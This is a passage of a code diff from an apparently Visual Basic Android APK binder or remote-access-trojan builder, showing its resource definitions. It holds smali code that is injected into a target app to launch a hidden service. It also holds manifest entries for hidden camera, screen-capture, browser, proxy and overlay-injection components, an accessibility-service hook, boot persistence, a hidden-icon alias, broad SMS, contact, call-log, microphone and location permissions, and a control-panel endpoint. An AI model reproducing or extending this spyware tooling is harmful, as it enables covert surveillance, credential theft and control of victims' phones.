''' Ищет локализованную строку, похожую на <queries android:name="[Replace_Prmies]"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property ReplacePrimes() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("ReplacePrimes", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Поиск локализованного ресурса типа System.Byte[].
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property signapk() As Byte()
|
||||||
|
Get
|
||||||
|
Dim obj As Object = ResourceManager.GetObject("signapk", resourceCulture)
|
||||||
|
Return CType(obj,Byte())
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<splits>
|
||||||
|
''' <module name="">
|
||||||
|
''' <language>
|
||||||
|
''' <entry key="af" split="" />
|
||||||
|
''' <entry key="am" split="" />
|
||||||
|
''' <entry key="ar" split="" />
|
||||||
|
''' <entry key="az" split="" />
|
||||||
|
''' <entry key="bg" split="" />
|
||||||
|
''' <entry key="bn" split="" />
|
||||||
|
''' <entry key="ca" split="" />
|
||||||
|
''' <entry key="cs" split="" />
|
||||||
|
''' <entry key="da" split="" />
|
||||||
|
''' <entry key="de" split="" />
|
||||||
|
''' [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property splits() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("splits", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property SystemwindowPrim() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("SystemwindowPrim", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <queries android:name="[GPRIM]"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property Toreplaceprim() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("Toreplaceprim", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <?xml version="1.0" encoding="utf-8"?>
|
||||||
|
'''<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
''' android:layout_width="match_parent"
|
||||||
|
''' android:layout_height="match_parent"
|
||||||
|
''' android:gravity="center"
|
||||||
|
''' android:orientation="vertical"
|
||||||
|
''' android:padding="20dp"
|
||||||
|
''' android:background="#232323">
|
||||||
|
'''
|
||||||
|
''' <ImageView
|
||||||
|
''' android:id="@+id/errorimg"
|
||||||
|
''' android:layout_width="144px"
|
||||||
|
''' android:layout_height="144px"
|
||||||
|
''' android:paddingLeft="5dp"
|
||||||
|
''' android:src= [остаток строки не уместился]";.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property uninstall_activity() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("uninstall_activity", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Ищет локализованную строку, похожую на <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>.
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property WritePrim() As String
|
||||||
|
Get
|
||||||
|
Return ResourceManager.GetString("WritePrim", resourceCulture)
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
|
||||||
|
'''<summary>
|
||||||
|
''' Поиск локализованного ресурса типа System.Byte[].
|
||||||
|
'''</summary>
|
||||||
|
Friend ReadOnly Property zipalign() As Byte()
|
||||||
|
Get
|
||||||
|
Dim obj As Object = ResourceManager.GetObject("zipalign", resourceCulture)
|
||||||
|
Return CType(obj,Byte())
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
End Module
|
||||||
|
End Namespace
|
||||||
@@ -0,0 +1,787 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||||
|
<data name="7zip" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\7.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</data>
|
||||||
|
<data name="accessibilityprivatesrcapp" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\accessibilityprivatesrcapp.xml;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||||
|
</data>
|
||||||
|
<data name="AccessTag" xml:space="preserve">
|
||||||
|
<value><service android:enabled="true" android:exported="false" android:label="@string/BaseName" android:name="com.icontrol.protector.AccessServices" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.accessibilityservice.AccessibilityService"/>
|
||||||
|
</intent-filter>
|
||||||
|
<meta-data android:name="android.accessibilityservice" android:resource="@xml/accessibilityprivatesrcapp"/>
|
||||||
|
</service></value>
|
||||||
|
</data>
|
||||||
|
<data name="Activitychat" xml:space="preserve">
|
||||||
|
<value><?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:tools="http://schemas.android.com/tools"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:padding="16dp"
|
||||||
|
android:background="#202020"
|
||||||
|
tools:context=".ChatActivity">
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/chattitle"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="40dp"
|
||||||
|
android:background="#37000000"
|
||||||
|
android:layout_alignParentStart="true"
|
||||||
|
android:layout_alignParentTop="true"
|
||||||
|
android:layout_alignParentEnd="true"
|
||||||
|
android:layout_marginStart="16dp"
|
||||||
|
android:layout_marginTop="5dp"
|
||||||
|
android:layout_marginEnd="16dp"
|
||||||
|
android:gravity="center"
|
||||||
|
android:textSize="30dp"
|
||||||
|
android:textColor="#fff"
|
||||||
|
android:text="..."/>
|
||||||
|
|
||||||
|
|
||||||
|
<FrameLayout
|
||||||
|
android:id="@+id/framdlayout1"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="0dp"
|
||||||
|
android:layout_above="@id/messageEditText"
|
||||||
|
android:layout_below="@id/chattitle"
|
||||||
|
android:layout_marginTop="10dp"
|
||||||
|
android:layout_marginBottom="16dp"
|
||||||
|
android:padding="2dp"
|
||||||
|
android:background="#474747">
|
||||||
|
|
||||||
|
<ScrollView
|
||||||
|
android:id="@+id/scrollView2"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="#202020">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:id="@+id/chatLayout"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="vertical" />
|
||||||
|
|
||||||
|
</ScrollView>
|
||||||
|
</FrameLayout>
|
||||||
|
|
||||||
|
|
||||||
|
<EditText
|
||||||
|
android:id="@+id/messageEditText"
|
||||||
|
android:layout_width="273dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_alignParentStart="true"
|
||||||
|
android:layout_alignParentBottom="true"
|
||||||
|
android:layout_marginStart="25dp"
|
||||||
|
android:layout_marginEnd="25dp"
|
||||||
|
android:layout_marginBottom="12dp"
|
||||||
|
android:layout_toStartOf="@id/sendButton"
|
||||||
|
android:hint="Type a message..."
|
||||||
|
android:textColor="#fff"
|
||||||
|
android:textColorHint="#fff"
|
||||||
|
android:inputType="text"
|
||||||
|
android:minHeight="48dp"
|
||||||
|
android:background="#323232"
|
||||||
|
android:padding="10dp"
|
||||||
|
android:maxLines="3" />
|
||||||
|
|
||||||
|
<Button
|
||||||
|
android:id="@+id/sendButton"
|
||||||
|
android:layout_width="65dp"
|
||||||
|
android:layout_height="65dp"
|
||||||
|
android:layout_below="@+id/framdlayout1"
|
||||||
|
android:layout_alignParentEnd="true"
|
||||||
|
android:layout_alignParentBottom="true"
|
||||||
|
android:layout_marginTop="2dp"
|
||||||
|
android:layout_marginEnd="15dp"
|
||||||
|
android:layout_marginBottom="15dp"
|
||||||
|
android:background="#00000000"
|
||||||
|
android:gravity="center"
|
||||||
|
android:text="➤"
|
||||||
|
android:textColor="#008EFF"
|
||||||
|
android:textAlignment="center"
|
||||||
|
android:textSize="25dp"
|
||||||
|
/>
|
||||||
|
|
||||||
|
</RelativeLayout></value>
|
||||||
|
</data>
|
||||||
|
<data name="ALLPRIM" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.RECORD_AUDIO" />#
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />#
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />#
|
||||||
|
<uses-permission android:name="android.permission.READ_PHONE_STATE" />#
|
||||||
|
<uses-permission android:name="android.permission.WAKE_LOCK" />#
|
||||||
|
<uses-permission android:name="com.android.alarm.permission.SET_ALARM" />#
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />#
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />#
|
||||||
|
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />#
|
||||||
|
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />#
|
||||||
|
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />#
|
||||||
|
<uses-permission android:name="android.permission.SET_WALLPAPER" />#
|
||||||
|
<uses-permission android:name="android.permission.READ_SMS" />#
|
||||||
|
<uses-permission android:name="android.permission.READ_CALL_LOG" />#
|
||||||
|
<uses-permission android:name="android.permission.READ_CONTACTS" />#
|
||||||
|
<uses-permission android:name="android.permission.GET_ACCOUNTS" />#
|
||||||
|
<uses-permission android:name="android.permission.CAMERA" />#
|
||||||
|
<uses-permission android:name="android.permission.INTERNET" />#
|
||||||
|
<uses-permission android:name="android.permission.SEND_SMS" />#</value>
|
||||||
|
</data>
|
||||||
|
<data name="APKEditor" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\APKEditor.jar;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</data>
|
||||||
|
<data name="apktool" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\apktool.jar;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</data>
|
||||||
|
<data name="batteryprim" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" /></value>
|
||||||
|
</data>
|
||||||
|
<data name="BootPrim" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /></value>
|
||||||
|
</data>
|
||||||
|
<data name="certificate" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\certificate.pem;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</data>
|
||||||
|
<data name="DEFserverconfigs" xml:space="preserve">
|
||||||
|
<value>{
|
||||||
|
"ServerApi": "http://localhost/yaarsa/private/yarsap_90061.php",
|
||||||
|
"ServerApi_Customapp": "http://localhost/yaarsa/private/yarsap_91370.php",
|
||||||
|
"Currentsubdir": "/yaarsa/private/"
|
||||||
|
}</value>
|
||||||
|
</data>
|
||||||
|
<data name="emptyaccess" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\emptyaccess.xml;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||||
|
</data>
|
||||||
|
<data name="Externalstorage" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
|
||||||
|
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_MEDIA_VIDEO"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="FORGROUD" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.FOREGROUND_SERVICE"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="key" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\key.pk8;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</data>
|
||||||
|
<data name="luncherIntent" xml:space="preserve">
|
||||||
|
<value><intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
|
||||||
|
</intent-filter></value>
|
||||||
|
</data>
|
||||||
|
<data name="MainMith" xml:space="preserve">
|
||||||
|
<value>.method public InializeSubsT()V
|
||||||
|
.locals 4
|
||||||
|
|
||||||
|
:try_start_0
|
||||||
|
new-instance v1, Landroid/content/Intent;
|
||||||
|
|
||||||
|
invoke-virtual {p0}, [trgtmain]->getApplicationContext()Landroid/content/Context;
|
||||||
|
|
||||||
|
move-result-object v2
|
||||||
|
|
||||||
|
const-class v3, Lcom/icontrol/protector/StarterServices;
|
||||||
|
|
||||||
|
invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
|
||||||
|
|
||||||
|
.local v1, "Strt_int":Landroid/content/Intent;
|
||||||
|
invoke-virtual {p0, v1}, [trgtmain]->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
|
||||||
|
|
||||||
|
:try_end_0
|
||||||
|
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||||
|
|
||||||
|
goto :goto_0
|
||||||
|
|
||||||
|
:catch_0
|
||||||
|
move-exception v0
|
||||||
|
|
||||||
|
.local v0, "a":Ljava/lang/Exception;
|
||||||
|
# Exception handling code if needed
|
||||||
|
.end local v0 # "a":Ljava/lang/Exception;
|
||||||
|
.end local v1 # "Strt_int":Landroid/content/Intent;
|
||||||
|
:goto_0
|
||||||
|
return-void
|
||||||
|
.end method</value>
|
||||||
|
</data>
|
||||||
|
<data name="ManifistCode" xml:space="preserve">
|
||||||
|
<value><uses-library android:name="org.apache.http.legacy" android:required="false"/>
|
||||||
|
<provider android:authorities="com.icontrol.protector.provider" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider">
|
||||||
|
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/pfs1"/>
|
||||||
|
</provider>
|
||||||
|
<activity android:exported="true" android:name="com.icontrol.protector.Splasher"/>
|
||||||
|
<activity-alias android:enabled="true" android:exported="true" android:hardwareAccelerated="false" android:icon="@drawable/mylogo" android:label="@string/BaseName" android:name="com.icontrol.protector.A1" android:targetActivity="com.icontrol.protector.Splasher" android:theme="@android:style/Theme.Black.NoTitleBar">
|
||||||
|
</activity-alias>
|
||||||
|
<activity-alias android:enabled="false" android:exported="true" android:hardwareAccelerated="false" android:icon="@drawable/notify" android:label=" " android:name="com.icontrol.protector.A2" android:roundIcon="@drawable/notify" android:screenOrientation="sensor" android:targetActivity="com.icontrol.protector.Splasher" android:theme="@android:style/Theme.Translucent.NoTitleBar">
|
||||||
|
</activity-alias>
|
||||||
|
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize|uiMode" android:enabled="true" android:exported="true" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.icontrol.protector.ActivMain" android:screenOrientation="sensor" android:theme="@android:style/Theme.Black.NoTitleBar"/>
|
||||||
|
<activity android:enabled="true" android:excludeFromRecents="true" android:exported="true" android:hardwareAccelerated="false" android:icon="@android:color/transparent" android:label=" " android:launchMode="singleTask" android:name="com.icontrol.protector.LockActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:label="Alerts" android:name="com.icontrol.protector.AlertActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:exported="true" android:name="com.icontrol.protector.PermissionsActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:exported="true" android:name="com.icontrol.protector.ActivityDraw" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:hardwareAccelerated="true" android:name="com.icontrol.protector.AccessibilityActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.RestrectionActivity" android:noHistory="true"/>
|
||||||
|
<activity android:exported="true" android:name="com.icontrol.protector.ActivityCaptureScreen" android:showOnLockScreen="true" android:showWhenLocked="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:turnScreenOn="true"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.RequestDataUsage" android:noHistory="true"/>
|
||||||
|
<activity android:exported="true" android:name="com.icontrol.protector.Requestinstall" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:exported="true" android:name="com.icontrol.protector.RequestPermissions2" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.UninstallActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.BrodcastActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.ChatActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:windowSoftInputMode="adjustResize"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:label="View" android:launchMode="singleInstance" android:name="com.icontrol.protector.WebBrowser" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<activity android:excludeFromRecents="true" android:exported="true" android:label="View" android:launchMode="singleInstance" android:name="com.icontrol.protector.Webjector" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||||
|
<service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.WorkServices"/>
|
||||||
|
<service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.CameraCap"/>
|
||||||
|
<service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.HiddenBrowser"/>
|
||||||
|
<service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.EngineWorker"/>
|
||||||
|
<service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.ProxyService"/>
|
||||||
|
<service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.StarterServices"/>
|
||||||
|
<service android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.LocationMonitor"/>
|
||||||
|
<service android:enabled="true" android:exported="false" android:name="com.icontrol.protector.MyJobService" android:permission="android.permission.BIND_JOB_SERVICE"/>
|
||||||
|
<service android:enabled="true" android:exported="true" android:foregroundServiceType="mediaProjection" android:name="com.icontrol.protector.ScreenCaps"/>
|
||||||
|
<meta-data android:name="REPALCEACCESS" android:value="99999999"/>
|
||||||
|
<receiver android:enabled="true" android:exported="true" android:name="com.icontrol.protector.alarme">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="MY_CUSTOM_ACTION"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:enabled="true" android:exported="true" android:name="com.icontrol.protector.BootReceiver">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||||
|
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
|
||||||
|
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
|
||||||
|
<action android:name="android.intent.action.REBOOT"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:enabled="true" android:exported="true" android:name="com.icontrol.protector.ResetServices">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.AIRPLANE_MODE"/>
|
||||||
|
<action android:name="android.intent.action.BATTERY_LOW"/>
|
||||||
|
<action android:name="android.intent.action.BATTERY_OKAY"/>
|
||||||
|
<action android:name="android.intent.action.LOCALE_CHANGED"/>
|
||||||
|
<action android:name="android.intent.action.TIMEZONE_CHANGED"/>
|
||||||
|
<action android:name="android.intent.action.DEVICE_STORAGE_LOW"/>
|
||||||
|
<action android:name="android.intent.action.DEVICE_STORAGE_OK"/>
|
||||||
|
<action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
|
||||||
|
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize|smallestScreenSize" android:documentLaunchMode="intoExisting" android:enabled="true" android:excludeFromRecents="false" android:exported="true" android:keepScreenOn="true" android:launchMode="singleInstance" android:name="com.icontrol.protector.TransparentActivity" android:showOnLockScreen="true" android:showWhenLocked="true" android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen" android:turnScreenOn="true"/>
|
||||||
|
<activity android:documentLaunchMode="intoExisting" android:enabled="true" android:excludeFromRecents="false" android:exported="true" android:launchMode="singleInstance" android:name="com.icontrol.protector.tofront" android:showOnLockScreen="true" android:showWhenLocked="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:turnScreenOn="true"/>
|
||||||
|
<activity android:exported="true" android:name="com.icontrol.protector.Startme" android:theme="@android:style/Theme.Translucent.NoTitleBar">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="com.javadata.scanner.STARTER"/>
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
<activity android:excludeFromRecents="true" android:label="Google" android:name="com.icontrol.protector.wakeitaiv" android:showForAllUsers="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:turnScreenOn="true"/>
|
||||||
|
<provider android:authorities="com.icontrol.protector.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
|
||||||
|
<meta-data android:name="androidx.work.WorkManagerInitializer" android:value="androidx.startup"/>
|
||||||
|
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
|
||||||
|
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
|
||||||
|
<meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/>
|
||||||
|
</provider>
|
||||||
|
